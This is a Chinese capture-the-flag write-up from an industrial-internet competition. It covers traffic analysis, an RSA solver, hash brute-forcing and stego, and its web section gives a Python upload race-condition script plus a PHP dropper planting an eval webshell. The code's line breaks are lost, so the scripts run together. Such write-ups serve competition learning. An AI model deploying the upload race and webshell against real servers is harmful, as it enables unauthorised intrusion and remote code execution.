中国工业互联网江苏省选拔赛writeup
0x00 简介
不知道是何时被报的名,甚至比赛的前两天才知道组队的队友,还好最后的结果是好的,拿了线上选拔第二(理论亏分200多,555)晋级了11月20号的重庆决赛,心里还是美滋滋的。
0x01 CTF
协议分析1
Wiresahrk查看是mms的协议,直接过滤
可以看到上面两面和下面的明显不一样,查看追踪流
两个字符串组合之后,然后使用解码工具解码得到flag,后面乱码替换成大括号
解方程
附件脚本:
题目给了n、c,就是一个RSA,过程没有什么好说的,这里直接贴脚本咯
n = 8024564127973065791822696697071284794358778113244860389864422981119578975964727093926084927413648922361071020470150564725270618683354904686430544864634986421802250691574811643940493852040303365259871961829230451567976055242366978177493279020860227537560077272183489280971600541432160542487797473494437897108965642412346313867328843027097895335304551681879362719382890575460873246457441445622915378590294513103181807760404215667759122312502771211145132870220086702449210205047154398173087109995899654560082761774761002029827487645976212945576324039049642609852040160573026630219823125371936206527188545760503303196887c = 3180315760809674805307952038308070668830050176909147638772126511895314499221741418872541998973065111255595861696385202759844093540441475048944982758690063571599282883876643362851380191511250087221840725807404705385725070244402516934527422750911874245857588078974219707033577370635383250007806947507795729667764154840835200953651638272748044402141790503341924861185059671075139783417203879567804845438302056071839026625956697647771368487584705007737854745577029320506832583174617443045018932772363892102614493216452482474734088789707913499300956365998233734355238725491161615031776255737012637741880932940505976334292from gmpy2 import iroot,invertfrom Crypto.Util.number import *def quadratic(a,b,c):try:(d,t) = iroot(b*b - (4*a*c),2)if not t:return 0return ((-b-d)//(2*a),(-b+d)//(2*a))except:return 0for I in range(10,2050):p_try = quadratic(1,-(2**I + 31336),n)if p_try:print('nbit=,I')p = p_try[1]breakq = n//passert(isPrime(int(q)))assert(isPrime(int(p)))assert(n == p*q)print('p=',int(p))print('q=',int(q))for e in [int('1'*I,2) for I in range(1,50000)]:phi = (p-1)*(q-1)g = GCD(e,phi)if g == 1:continueprint('trying with e bits:',e.bit_length(),'gcd=',g)d = inverse(e//g,phi)m = pow(c,d,n)m,t = iroot(m,g)if not t:continueflag = long_to_bytes(m)if b'flag' in flag:print(flag)exit(0)
运行就可以得到flag
Easystego
附件使用winehx进行打开看到pdf的文件头
全部复制之后然后另存为一个pdf文件,然后查看,可以看到隐藏的东西
复制出来是乱码,尝试解码,最后是rot47解码
Ezhash
看到这个,首批放号的移动号码首位几个86139
然后就是脚本爆破
import hashlibnum = '86139'ha = '2704efd1382cb3c01cb7962e5b8b06d5dcbe427a61460fb333e126fb646dc108'num1 = '0123456789'for i in num1:for ii in num1:for iii in num1:for iiii in num1:for iiiii in num1:for iiiiii in num1:for iiiiiii in num1:for iiiiiiii in num1:num2 = num + i + ii + iii + iiii + iiiii + iiiiii + iiiiiii + iiiiiiiihash1 = hashlib.sha256(num2.encode()).hexdigest()if hash1 == ha:print(num2)break
包裹上flag{}提交成功
流量分析3 Modbus
看到题目名字想到modbus协议
138主机向网关发送数据,通过过滤对比数据流可以看到一个PNG文件头
可以肯定通过modbus协议传输了一张图片,用tshark导出数据
tshark -r 1667353056652.pcapng -T fields -e modbus.data -Y "ip.src == 192.168.111.138 && modbus.func_code == 6" >> fuck.txt宕出来的数据处理一下得到二进制数据,通过工具转化为图片
得到flag
Re1 逆向
汇编上反复触发一个函数
开头有个很像flag的值
这是唯一的处理函数,推测是用来打乱flag的,在不同处取值
Web1
文件上传,同目录下存在upload文件夹
php文件能直接上传,但是目录下找不到php文件,其他任意文件传上去都存在,推测为文件上传
import requestsfrom urllib3 import encode_multipart_formdataimport threadingdata = {'file': ('1.php', open('D:\\phpstudy_pro\\WWW\\python有用脚本\\1.php', 'rb').read(), 'image/jpeg')}encode_data = encode_multipart_formdata(data)data = encode_data[0]def a():t1 = requests.post('http://222.186.10.28:15668/upload.php',headers={'Content-Type': encode_data[1]}, data=data)def b():t2 = requests.get("http://222.186.10.28:15668/upload/1.php")print(t2.status_code)while 1:t = threading.Thread(target=a, args='')t.start()t1 = threading.Thread(target=b, args='')t1.start()
//木马<?php fputs(fopen('a.php', 'w'), '<?php @eval($_POST[1])?>');?>访问a.php到200的时候木马就传上了
蚁剑连接拿到flag
flag{YPU648MV2DMP4P8N}
0x02 工业环境渗透:
信息管理系统
扫描发现170开了8080的端口,登录界面提示shiro的反序列化(比赛公告也有说),直接上工具可以梭哈
然后在administrator的桌面下就可以看到flag
flag{CT8Q8SHJBBMAZ99F}
火电-官网应用
通告给出账户密码:admin,ddddhm,登录之后 上传修改绕过
Websehll链接
flag{5DWG54TTTYR6MHXY}
火电-权限提升
在“火电-官网应用”紧接着,使用 find 进行提权,获得权限之后, 获取 flag
flag{62CE2E4BE0B06334}
- End -